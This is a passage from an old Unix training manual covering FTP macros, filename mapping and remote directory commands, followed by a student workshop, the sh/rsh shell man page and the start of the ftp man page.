+ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + +To correct this error, change the mode of the .netrc file so it +is not readable by other users or remove the password from the +file. This is to prevent your password from being read by an +unauthorized user. +9.4 Macros + + +Macros are a single instruction that a program replaces by +several, usually, more complex instructions. The ftp command to +create a macro definition is: + +ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +º Command Format: macdef macro-name º +º º +º macro-name - the name of the macro º +ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + +After the macdef command is given, all subsequent lines are +stored as a macro with the name macro_def. Consecutive newline +characters or carriage returns terminate the input mode into the +macro. There is a limit of 16 defined macros and a limit of 4096 +characters in all defined macros. + +Sample Session: + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ ftp>macdef get_files ³ +³ open erc780 ³ +³ get file_1 ³ +³ put result_2 ³ +³ close ³ +³ ftp> ³ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + +In this example, the four lines of the macro can be executed +simply be entering get_files at the ftp prompt. The macro will +only exist until the current ftp session is closed. +9.5 Filename Translation + + +Filename conventions differ from one computer to another, and FTP +will allow you to translate the name as it is transferred. One +way is to specify the name of the file as it is to exist on the +local computer. This is done by the argument on the put or get +command. + +ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +º Command Format: put local-file [remote-file] º +º º +º get remote-file [local-file] º +ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + + +If you don't specify the remote-file (for the put command) or the +local-file (for the get command), the name will be the same on +both the local and remote computer. This can cause a problem if +you are not aware of it. There is an FTP command that will allow +the name to be translated automatically. + +ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +º Command Format: nmap [inpattern outpattern] º +ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + + +If no arguments are supplied, it will set or unset the filename +mapping mechanism. If arguments are specified, remote filenames +are mapped during mput (multiple file puts) and put (single file) +commands that are issued without a specified remote filename. + +If arguments are specified, local filenames are mapped during +mget (multiple file gets) and get (single file) commands that are +issued without a specified local filename. + +The mapping follows the pattern set by inpattern and outpattern. +Variable templating is done by including the sequences "$1", +"$2",...."$9 "in inpattern. All other characters are treated +literally and are used to determine the nmap inpattern variable +values. + +For example, say the inpattern was $1.$2 and the remote filename +is mydata.data, $1 would have the value mydata and $2 would have +the value data. The outpattern determines the resulting mapped +filename. The sequences "$1", "$2",..."$9", are replaced by the +value resulting from the inpattern template. "$0" is replaced by +the original filename. +9.6 Aborting Transfers + + +Press the terminal interrupt key (usually Ctrl-C) to abort a file +transfer. The sending transfer will stop immediately. Receiving +transfers will be halted by FTP sending an ABOR command to the +remote server and discarding any further data that is received. + + +If the remote server doesn't support the ABOR protocol command +the ftp> prompt will not appear until the requested file has been +sent. +9.7 More Remote Computer Commands + +These commands can be useful when working with the directories on +the remote computer. + +ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +º Command Format: cdup º +ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + +This FTP command will change the remote machine current working +directory to the parent of the current working directory. + + +ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +º Command Format: delete remote-file º +º º +º remote-file name of the file to delete º +ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + +This FTP command will delete the specified file. + + +ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +º Command Format: mdelete [remote-files] º +º º +º remote-files names of the files to delete º +ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + +This FTP command acts as a multiple delete. It will delete all +the specified files. + + +ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +º Command Format: mkdir directory-name º +º º +º directory-name the name of the directory to be created º +º on the remote computer. º +ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + +This FTP command will create a directory on the remote computer. + + +ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» +º Command Format: rmdir directory-name º +º º +º directory-name the name of the directory on the remote º +º computer that will be removed. º +ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ + +This FTP command will remove the specified directory. + +NOTE: This command will not work with some remote servers. +Workshop 10 + +This workshop will reinforce your understanding of the ideas +presented in this chapter. Login using the username and password +given to you by the instructor. Each student is to complete the +entire workshop. + +DESK EXERCISES (10 minutes) + + + 1. What FTP command is used to transfer more than one file + at a time? What FTP command will give a prompt to you + before each file is retrieved? Suggestion: there are + two ways + + + + + + 2. What is the name of the file where the auto-login + variables are found? Extra credit: Why does this file + begin with a dot (.)? + + + + + + 3. How can the file in question the auto-login file be + protected from unauthorized reading? + + + + + + 4. What do the following FTP commands do? + + + cdup + + + delete (tough question) + + + mdelete (ditto) + + + mkdir + + + rmdir + + Continue on the next page +COMPUTER EXERCISES (30 minutes) + + + 5. Transfer all the files from on the VAX (erc830) to the + domax1. Use only one command and use wildcards. The + username and password for the VAX will be given to you + by the instructor. + + + + + + 6. Transfer the files from the VAX and this time translate + the names of the files as they are transferred. + + + + + + 7. Create an auto-login file for the erc830 and + then do an auto-login to the VAX. + + + + + + 8. Logout +APPENDIX A - sh + + +NAME + sh, rsh - shell, the standard/restricted command programming + language + +SYNOPSIS + sh [ -acefhiknrstuvx ] [ args ] + rsh [ -acefhiknrstuvx ] [ args ] + +DESCRIPTION + sh is a command programming language that executes commands + read from a terminal or a file. rsh is a restricted version + of the standard command interpreter sh; it is used to set up + login names and execution environments whose capabilities + are more controlled than those of the standard shell. See + Invocation below for the meaning of arguments to the shell. + + + Definitions + A blank is a tab or a space. A name is a sequence of + letters, digits, or underscores beginning with a letter or + underscore. A parameter is a name, a digit, or any of the + characters *, @, #, ?, -, $, and !. + + Commands + A simple-command is a sequence of non-blank words separated + by blanks. The first word specifies the name of the command + to be executed. Except as specified below, the remaining + words are passed as arguments to the invoked command. The + command name is passed as argument 0 (see exec(2)). The + value of a simple-command is its exit status if it + terminates normally, or (octal) 200+status if it terminates + abnormally (see signal(2) for a list of status values). + + A pipeline is a sequence of one or more commands separated + by |. The standard output of each command but the last is + connected by a pipe(2) to the standard input of the next + command. Each command is run as a separate process; the + shell waits for the last command to terminate. The exit + status of a pipeline is the exit status of the last command. + + A list is a sequence of one or more pipelines separated by + ;, &, &&, or ||, and optionally terminated by ; or &. Of + these four symbols, ; and & have equal precedence, which is + lower than that of && and ||. The symbols && and || also + have equal precedence. A semicolon (;) causes sequential + execution of the preceding pipeline; an ampersand (&) causes + asynchronous execution of the preceding pipeline (i.e., the + shell does not wait for that pipeline to finish). The + symbol && (||) causes the list following it to be executed + only if the preceding pipeline returns a zero (non-zero) + exit status. An arbitrary number of new-lines may appear in + a list, instead of semicolons, to delimit commands. + + A command is either a simple-command or one of the + following. Unless otherwise stated, the value returned by a + command is that of the last simple-command executed in the + command. + + for name [ in word ... ] do list done + Each time a for command is executed, name is set to the + next word taken from the in word list. If in word ... + is omitted, then the for command executes the do list + once for each positional parameter that is set (see + Parameter Substitution below). Execution ends when + there are no more words in the list. + case word in [ pattern [ | pattern ] ... ) list ;; ] ... esac + A case command executes the list associated with the + first pattern that matches word. The form of the + patterns is the same as that used for file-name + generation (see File Name Generation) except that a + slash, a leading dot, or a dot immediately following a + slash need not be matched explicitly. + if list then list [ elif list then list ] ... [ else list ] fi + The list following if is executed and, if it returns a + zero exit status, the list following the first then is + executed. Otherwise, the list following elif is + executed and, if its value is zero, the list following + the next then is executed. Failing that, the else lis + is executed. If no else list or then list is executed + then the if command returns a zero exit status. + while list do list done + A while command repeatedly executes the while list and + if the exit status of the last command in the list is + zero, executes the do list; otherwise the loop + terminates. If no commands in the do list are + executed, then the while command returns a zero exit + status; until may be used in place of while to negate + the loop termination test. + (list) + Execute list in a sub-shell. + { list; } + list is executed in the current (that is, parent) + shell. + name () { list; } + Define a function which is referenced by name. The + body of the function is the list of commands between { + and }. Execution of functions is described below (see + Execution). + + The following words are only recognized as the first word of + a command and when not quoted: + + if then else elif fi case esac for while until + do done {} + Comments + A word beginning with # causes that word and all the + following characters up to a new-line to be ignored. + + Command Substitution + The shell reads commands from the string between two grave + accents (``) and the standard output from these commands may + be used as all or part of a word. Trailing new-lines from + the standard output are removed. + + No interpretation is done on the string before the string is + read, except to remove backslashes (\) used to escape other + characters. Backslashes may be used to escape a grave + accent (`) or another backslash (\) and are removed before + the command string is read. Escaping grave accents allows + nested command substitution. If the command substitution + lies within a pair of double quotes (" ...` ...` ... "), a + backslash used to escape a double quote (\") will be + removed; otherwise, it will be left intact. + + If a backslash is used to escape a new-line character + (\new-line), both the backslash and the new-line are removed + (see the later section on Quoting). In addition, + backslashes used to escape dollar signs (\$) are removed. + Since no interpretation is done on the command string before + it is read, inserting a backslash to escape a dollar sign + has no effect. Backslashes that precede characters other + than \, `, ", new-line, and $ are left intact when the + command string is read. + + Parameter Substitution + The character $ is used to introduce substitutable + parameters. There are two types of parameters, positional + and keyword. If parameter is a digit, it is a positional + parameter. Positional parameters may be assigned values by + set. Keyword parameters (also known as variables) may be + assigned values by writing: + + name=value [ name=value ] ... + + Pattern-matching is not performed on value. There cannot be + a function and a variable with the same name. + + ${parameter} + The value, if any, of the parameter is substituted. + The braces are required only when parameter is followed + by a letter, digit, or underscore that is not to be + interpreted as part of its name. If parameter is * or + @, all the positional parameters, starting with $1, are + substituted (separated by spaces). Parameter $0 is set + from argument zero when the shell is invoked. + ${parameter:-word} + If parameter is set and is non-null, substitute its + value; otherwise substitute word. + + ${parameter:=word} + If parameter is not set or is null set it to word; the + value of the parameter is substituted. Positional + parameters may not be assigned to in this way. + ${parameter:?word} + If parameter is set and is non-null, substitute its + value; otherwise, print word and exit from the shell. + If word is omitted, the message "parameter null or not + set" is printed. + ${parameter:+word} + If parameter is set and is non-null, substitute word; + otherwise substitute nothing. + + In the above, word is not evaluated unless it is to be used + as the substituted string, so that, in the following + example, pwd is executed only if d is not set or is null: + + echo ${d:-`pwd`} + + If the colon (:) is omitted from the above expressions, the + shell only checks whether parameter is set or not. + + The following parameters are automatically set by the shell: + # The number of positional parameters in decimal. + - Flags supplied to the shell on invocation or by + the set command. + ? The decimal value returned by the last + synchronously executed command. + $ The process number of this shell. + ! The process number of the last background command + invoked. + + The following parameters are used by the shell: + HOME The default argument (home directory) for the cd + command. + PATH The search path for commands (see Execution + below). The user may not change PATH if + executing under rsh. + CDPATH + The search path for the cd command. + MAIL If this parameter is set to the name of a mail + file and the MAILPATH parameter is not set, the + shell informs the user of the arrival of mail in + the specified file. + MAILCHECK + This parameter specifies how often (in seconds) + the shell will check for the arrival of mail in + the files specified by the MAILPATH or MAIL + parameters. The default value is 600 seconds (10 + minutes). If set to 0, the shell will check + before each prompt. + + + + + MAILPATH + A colon (:) separated list of file names. If + this parameter is set, the shell informs the user + of the arrival of mail in any of the specified + files. Each file name can be followed by % and a + message that will be printed when the + modification time changes. The default message + is you have mail. + PS1 Primary prompt string, by default "$ ". + PS2 Secondary prompt string, by default "> ". + IFS Internal field separators, normally space, tab, + and new-line. + SHACCT + If this parameter is set to the name of a file + writable by the user, the shell will write an + accounting record in the file for each shell + procedure executed. Accounting routines such as + acctcom(1) and acctcms(1M) can be used to analyze + the data collected. + SHELL When the shell is invoked, it scans the + environment (see Environment below) for this + name. If it is found and 'rsh' is the file name + part of its value, the shell becomes a restricted + shell. + + The shell gives default values to PATH, PS1, PS2, MAILCHECK + and IFS. HOME and MAIL are set by login(1). + + Blank Interpretation + After parameter and command substitution, the results of + substitution are scanned for internal field separator + characters (those found in IFS) and split into distinct + arguments where such characters are found. Explicit null + arguments ("" or '') are retained. Implicit null arguments + (those resulting from parameters that have no values) are + removed. + + Input/Output + A command's input and output may be redirected using a + special notation interpreted by the shell. The following + may appear anywhere in a simple-command or may precede or + follow a command and are not passed on to the invoked + command; substitution occurs before word or digit is used: + + word Use file word as standard output (file + descriptor 1). If the file does not exist it + is created; otherwise, it is truncated to zero + length. + >>word Use file word as standard output. If the file + exists output is appended to it (by first + seeking to the end-of-file); otherwise, the + file is created. + + <<[-]word After parameter and command substitution are + done on word, the shell input is read up to + the first line that literally matches the + resulting word, or to an end-of-file. If, + however, - is appended to <<: + 1) leading tabs are stripped from word before + the shell input is read (but after + parameter and command substitution is done + on word), + 2) leading tabs are stripped from the shell + input as it is read and before each line + is compared with word, and + 3) shell input is read up to the first line + that literally matches the resulting word, + or to an end-of-file. + If any character of word is quoted (see + Quoting, later), no additional processing is + done to the shell input. If no characters of + word are quoted: + 1) parameter and command substitution occurs, + 2) (escaped) \newline is ignored, and + 3) \ must be used to quote the characters \, + $, and `. + The resulting document becomes the standard + input. + <&digit Use the file associated with file descriptor + digit as standard input. Similarly for the + standard output using >&digit. + <&- The standard input is closed. Similarly for + the standard output using >&--. + + If any of the above is preceded by a digit, the file + descriptor which will be associated with the file is that + specified by the digit (instead of the default 0 or 1). For + example: + + ... 2>&1 + + associates file descriptor 2 with the file currently + associated with file descriptor 1. + + The order in which redirections are specified is + significant. The shell evaluates redirections left-to- + right. For example: + + ... 1>xxx 2>&1 + + first associates file descriptor 1 with file xxx. It + associates file descriptor 2 with the file associated with + file descriptor 1 (i.e. xxx). It directs both standard + output and standard error output (stdout, stderr) to xxx. + If the order of redirections were reversed, file descriptor + 2 would be associated with the terminal (assuming file + descriptor 1 had been) and file descriptor 1 would be + associated with file xxx. + Using the terminology introduced on the first page, under + Commands, if a command is composed of several simple + commands, redirection will be evaluated for the entire + command before it is evaluated for each simple command. + That is, the shell evaluates redirection for the entire + list, then each pipeline within the list, the each command + within each pipeline, then each list within each command. + + If a command is followed by & the default standard input for + the command is the empty file /dev/null. Otherwise, the + environment for the execution of a command contains the file + descriptors of the invoking shell as modified by + input/output specifications. + + Redirection of output is not allowed in the restricted + shell. + + File Name Generation + Before a command is executed, each command word is scanned + for the characters *, ?, and [. If one of these characters + appears, the word is regarded as a pattern. The word is + replaced with alphabetically sorted file names that match + the pattern. If no file name is found that matches the + pattern, the word is left unchanged. The character . at the + start of a file name or immediately following a /, as well + as the character / itself, must be matched explicitly. + + * Matches any string, including the null string. + ? Matches any single character. + [...] Matches any one of the enclosed characters. A + pair of characters separated by - matches any + character lexically between the pair, + inclusive. If the first character following + the opening "[" is a "!" any character not + enclosed is matched. + + Quoting + The following characters have a special meaning to the shell + and cause termination of a word unless quoted: + + ; & ( ) | ^ < > new-line space tab + + A character may be quoted (i.e., made to stand for itself) + by preceding it with a backslash (\) or inserting it between + a pair of quote marks ('' or ""). During processing, the + shell may quote certain characters to prevent them from + taking on a special meaning. Backslashes used to quote a + single character are removed from the word before the + command is executed. The pair \newline is removed from a + word before command and parameter substitution. + + + + + + All characters enclosed between a pair of single quote marks + (''), except a single quote, are quoted by the shell. + Backslash has no special meaning inside a pair of single + quotes. A single quote may be quoted inside a pair of + double quote marks (for example, "'"). + + Inside a pair of double quote marks (""), parameter and + command substitution occurs and the shell quotes the results + to avoid blank interpretation and file name generation. If + $* is within a pair of double quotes, the positional + parameters are substituted and quoted, separated by quoted + spaces ("$1 $2 ..."); however, if $@ is within a pair of + double quotes, the positional parameters are substituted and + quoted, separated by unquoted spaces ("$1" "$2" ...). \ + quotes the characters \, `, ", and $. The pair \newline is + removed before parameter and command substitution. If a + backslash precedes characters other than \, `, ", $, and + new-line, the backslash itself is quoted by the shell. + + Prompting + When used interactively, the shell prompts with the value of + PS1 before reading a command. If at any time a new-line is + typed and further input is needed to complete a command, the + secondary prompt (i.e., the value of PS2) is issued. + + Environment + The environment (see environ(5)) is a list of name-value + pairs that is passed to an executed program in the same way + as a normal argument list. The shell interacts with the + environment in several ways. On invocation, the shell scans + the environment and creates a parameter for each name found, + giving it the corresponding value. If the user modifies the + value of any of these parameters or creates new parameters, + none of these affects the environment unless the export + command is used to bind the shell's parameter to the + environment (see also set -a). A parameter may be removed + from the environment with the unset command. The + environment seen by any executed command is thus composed of + any unmodified name-value pairs originally inherited by the + shell, minus any pairs removed by unset, plus any + modifications or additions, all of which must be noted in + export commands. + + The environment for any simple-command may be augmented by + prefixing it with one or more assignments to parameters. + Thus: + + TERM=450 cmd + and + (export TERM; TERM=450; cmd) + + are equivalent (as far as the execution of cmd is + concerned). + + + If the -k flag is set, all keyword arguments are placed in + the environment, even if they occur after the command name. + The following first prints a=b c and c: + + echo a=b c + set -k + echo a=b c + + Signals + The INTERRUPT and QUIT signals for an invoked command are + ignored if the command is followed by &; otherwise signals + have the values inherited by the shell from its parent, with + the exception of signal 11 (SIGSEGV) (but see also the trap + command below). See nohup(1) for more signal handling. + + Execution + Each time a command is executed, the above substitutions are + carried out. If the command name matches one of the Special + Commands listed below, it is executed in the shell process. + If the command name does not match a Special Command, but + matches the name of a defined function, the function is + executed in the shell process (note how this differs from + the execution of shell procedures). The positional + parameters $1, $2, .... are set to the arguments of the + function. If the command name matches neither a Special + Command nor the name of a defined function, a new process is + created and an attempt is made to execute the command via + exec(2). + + The shell parameter PATH defines the search path for the + directory containing the command. Alternative directory + names are separated by a colon (:). The default path is + :/bin:/usr/bin (specifying the current directory, /bin, and + /usr/bin, in that order). Note that the current directory + is specified by a null path name, which can appear + immediately after the equal sign or between the colon + delimiters anywhere else in the path list. If the command + name contains a / the search path is not used; such commands + will not be executed by the restricted shell. Otherwise, + each directory in the path is searched for an executable + file. If the file has execute permission but is not an + a.out file, it is assumed to be a file containing shell + commands. A sub-shell is spawned to read it. A + parenthesized command is also executed in a sub-shell. + + The location in the search path where a command was found is + remembered by the shell (to help avoid unnecessary execs + later). If the command was found in a relative directory, + its location must be re-determined whenever the current + directory changes. The shell forgets all remembered + locations whenever the PATH variable is changed or the hash + -r command is executed (see below). + + + + Special Commands + Input/output redirection is now permitted for these + commands. File descriptor 1 is the default output location. + + : + No effect; the command does nothing. A zero exit code + is returned. + . file + Read and execute commands from file and return. The + search path specified by PATH is used to find the + directory containing file. + break [ n ] + Exit from the enclosing for or while loop, if any. If + n is specified break n levels. + continue [ n ] + Resume the next iteration of the enclosing for or while + loop. If n is specified resume at the nth enclosing + loop. + cd [ arg ] + Change the current directory to arg. The shell + parameter HOME is the default arg. The shell parameter + CDPATH defines the search path for the directory + containing arg. Alternative directory names are + separated by a colon (:). The default path is + (specifying the current directory). Note that the + current directory is specified by a null path name, + which can appear immediately after the equal sign or + between the colon delimiters anywhere else in the path + list. If arg begins with a / the search path is not + used. Otherwise, each directory in the path is + searched for arg. The cd command may not be executed + by rsh. + echo [ arg ... ] + Echo arguments. See echo(1) for usage and description. + eval [ arg ... ] + The arguments are read as input to the shell and the + resulting command(s) executed. + exec [ arg ... ] + The command specified by the arguments is executed in + place of this shell without creating a new process. + Input/output arguments may appear and, if no other + arguments are given, cause the shell input/output to be + modified. + exit [ n ] + Causes a shell to exit with the exit status specified + by n. If n is omitted the exit status is that of the + last command executed (an end-of-file will also cause + the shell to exit.) + + + + + + + + export [ name ... ] + The given names are marked for automatic export to the + environment of subsequently-executed commands. If no + arguments are given, a list of all names that are + exported in this shell is printed. (Variable names + exported from a parent shell are listed only if they + have been exported again during the current shell's + execution.) Function names may not be exported. + getopts + Use in shell script to support command syntax standards + (see intro(1)); it parses positional parameters and + checks for legal options. See getopts(1) for usage and + description. + hash [ -r ] [ name ... ] + For each name, the location in the search path of the + command specified by name is determined and remembered + by the shell. The -r option causes the shell to forget + all remembered locations. If no arguments are given, + information about remembered commands is presented. + hits is the number of times a command has been invoked + by the shell process. cost is a measure of the work + required to locate a command in the search path. If a + command is found in a "relative" directory in the + search path, after changing to that directory, the + stored location of that command is recalculated. + Commands for which this will be done are indicated by + an asterisk (*) adjacent to the hits information. cost + will be incremented when the recalculation is done. + newgrp [ arg ... ] + Equivalent to exec newgrp arg .... See newgrp(1M) for + usage and description. + pwd + Print the current working directory. See pwd(1) for + usage and description. + read [ name ... ] + One line is read from the standard input and, using the + internal field separator, IFS (normally space or tab), + to delimit word boundaries, the first word is assigned + to the first name, the second word to the second name, + etc., with leftover words assigned to the last name. + Lines can be continued using \new-line. Characters + other than new-line can be quoted by preceding them + with a backslash. These backslashes are removed before + words are assigned to names, and no interpretation is + done on the character that follows the backslash. The + return code is 0 unless an end-of-file is encountered. + readonly [ name ... ] + The given names are marked readonly and the values of + these names may not be changed by subsequent + assignment. If no arguments are given, a list of all + readonly names is printed. + return [ n ] + Causes a function to exit with the return value + specified by n. If n is omitted, the return status is + that of the last command executed. + set [ --aefhkntuvx [ arg ... ] ] + -a + Mark variables which are modified or created for + export. + -e Exit immediately if a command exits with a non- + zero exit status. + -f Disable file name generation. + -h Locate and remember function commands as functions + are defined (function commands are normally + located when the function is executed). + -k All keyword arguments are placed in the + environment for a command, not just those that + precede the command name. + -n Read commands but do not execute them. + -t Exit after reading and executing one command. + -u Treat unset variables as an error when + substituting. + -v Print shell input lines as they are read. + -x Print commands and their arguments as they are + executed. + -- Do not change any of the flags; useful in setting + $1 to -. + Using + rather than - causes these flags to be turned + off. These flags can also be used upon invocation of + the shell. The current set of flags may be found in + $-. The remaining arguments are positional parameters + and are assigned, in order, to $1, $2, .... If no + arguments are given the values of all names are + printed. + shift [ n ] + The positional parameters from $n+1 ... are renamed $1 + .... If n is not given, it is assumed to be 1. + test + Evaluate conditional expressions. See test(1) for usage + and description. + times + Print the accumulated user and system times for + processes run from the shell. + trap [ arg ] [ n ] ... + The command arg is to be read and executed when the + shell receives signal(s) n. (Note that arg is scanned + once when the trap is set and once when the trap is + taken.) Trap commands are executed in order of signal + number. Any attempt to set a trap on a signal that was + ignored on entry to the current shell is ineffective. + An attempt to trap on signal 11 (memory fault) produces + an error. If arg is absent all trap(s) n are reset to + their original values. If arg is the null string this + signal is ignored by the shell and by the commands it + invokes. If n is 0 the command arg is executed on exit + from the shell. The trap command with no arguments + prints a list of commands associated with each signal + number. + + + type [ name ... ] + For each name, indicate how it would be interpreted if + used as a command name. + ulimit [ n ] + Impose a size limit of n blocks on files written by the + shell and its child processes (files of any size may be + read). If n is omitted, the current limit is printed. + Each user may lower the ulimit, but only a super-user + (see su(1M)) can raise a ulimit. + umask [ nnn ] + The user file-creation mask is set to nnn (see + umask(1)). If nnn is omitted, the current value of the + mask is printed. + unset [ name ... ] + For each name, remove the corresponding variable or + function. The variables PATH, PS1, PS2, MAILCHECK and + IFS cannot be unset. + wait [ n ] + Wait for a background process whose process ID is n and + report its termination status. If n is omitted, all + the shell's currently active background processes are + waited for and the return code will be zero. + + Invocation + If the shell is invoked through exec(2) and the first + character of argument zero is -, commands are initially read + from /etc/profile and from $HOME/.profile, if such files + exist. Thereafter, commands are read as described below, + which is also the case when the shell is invoked as /bin/sh. + The flags below are interpreted by the shell on invocation + only. Note that unless the -c or -s flag is specified, the + first argument is assumed to be the name of a file + containing commands, and the remaining arguments are passed + as positional parameters to that command file: + + -c string If the -c flag is present commands are read from + string. + -s If the -s flag is present or if no arguments + remain commands are read from the standard input. + Any remaining arguments specify the positional + parameters. Shell output (except for Special + Commands) is written to file descriptor 2. + -i If the -i flag is present or if the shell input + and output are attached to a terminal, this shell + is interactive. In this case TERMINATE is ignored + (so that kill 0 does not kill an interactive + shell) and INTERRUPT is caught and ignored (so + that wait is interruptible). In all cases, QUIT + is ignored by the shell. + -r If the -r flag is present the shell is a + restricted shell. + + + The remaining flags and arguments are described under the + set command above. + rsh Only + rsh is used to set up login names and execution environments + whose capabilities are more controlled than those of the + standard shell. The actions of rsh are identical to those + of sh, except that the following are disallowed: + + changing directory (see cd(1)), + setting the value of $PATH, + specifying path or command names containing /, + redirecting output (> and >>). + + The restrictions above are enforced after .profile is + interpreted. + + A restricted shell can be invoked in one of the following + ways: (1) rsh is the file name part of the last entry in the + /etc/passwd file (see passwd(4)); (2) the environment + variable SHELL exists and rsh is the file name part of its + value; (3) the shell is invoked and rsh is the file name + part of argument 0; (4) the shell is invoked with the -r + option. + + When a command to be executed is found to be a shell + procedure, rsh invokes sh to execute it. Thus, it is + possible to provide to the end-user shell procedures that + have access to the full power of the standard shell, while + imposing a limited menu of commands; this scheme assumes + that the end-user does not have write and execute + permissions in the same directory. + + The net effect of these rules is that the writer of the + .profile has complete control over user actions, by + performing guaranteed setup actions and leaving the user in + an appropriate directory (probably not the login directory). + + The system administrator often sets up a directory of + commands (i.e., /usr/rbin) that can be safely invoked by + rsh. Some systems also provide a restricted editor red. + +EXIT STATUS + Errors detected by the shell, such as syntax errors, cause + the shell to return a non-zero exit status. If the shell is + being used non-interactively execution of the shell file is + abandoned. Otherwise, the shell returns the exit status of + the last command executed (see also the exit command above). + +FILES + /etc/profile + $HOME/profile + /tmp/sh* + /dev/null + + + + +SEE ALSO + acctcom(1), cd(1), echo(1), env(1), ksh(1), login(1), + pwd(1), test(1), umask(1). + acctcms(1M), newgrp(1M), su(1M) in the UMAX V + Administrator's Reference Manual. + dup(2), exec(2), fork(2), pipe(2), signal(2), ulimit(2), + wait(2), a.out(4), passwd(4), profile(4), environ(5) in the + UMAX V Programmer's Reference Manual. + +CAVEATS + Words used for filenames in input/output redirection are not + interpreted for filename generation (see File Name + Generation, above). For example, cat file1 > a* will create + a file named a*. + + Because commands in pipelines are run as separate processes, + variables set in a pipeline have no effect on the parent + shell. + + If the error message cannot fork, too many processes is + displayed, try using the wait(1) command to clean up the + background processes. If this does not help, the system + process table is probably full or there are too many active + foreground processes. (There is a limit to the number of + process IDs associated with a login and to the number of + which the system can keep track.) +BUGS + If a command is executed, and a command with the same name + is installed in a directory in the search path before the + directory where the original command was found, the shell + will continue to exec the original command. Use the hash + command to correct this situation. + + If the current directory or one above it is moved, pwd may + not give the correct response. Use the cd command with a + full path name to correct this situation. + + Not all the processes of a 3- or more-stage pipeline are + children of the shell, and thus cannot be waited for. + + For wait n, if n is not an active process id, all the + shell's currently active background processes are waited for + and the return code will be zero. +APPENDIX B - ftp + + +$man ftp + +NAME + ftp - Internet file transfer program + +SYNOPSIS + ftp [ -v ] [ -d ] [ -i ] [ -n ] [ -g ] [ host ] + +DESCRIPTION + ftp is the user interface to the DARPA File Transfer + Protocol. The program transfers files to and from a remote + network site. + + The client host with which ftp is to communicate can be + specified on the command line. In this case, ftp immediately + attempts to establish a connection to 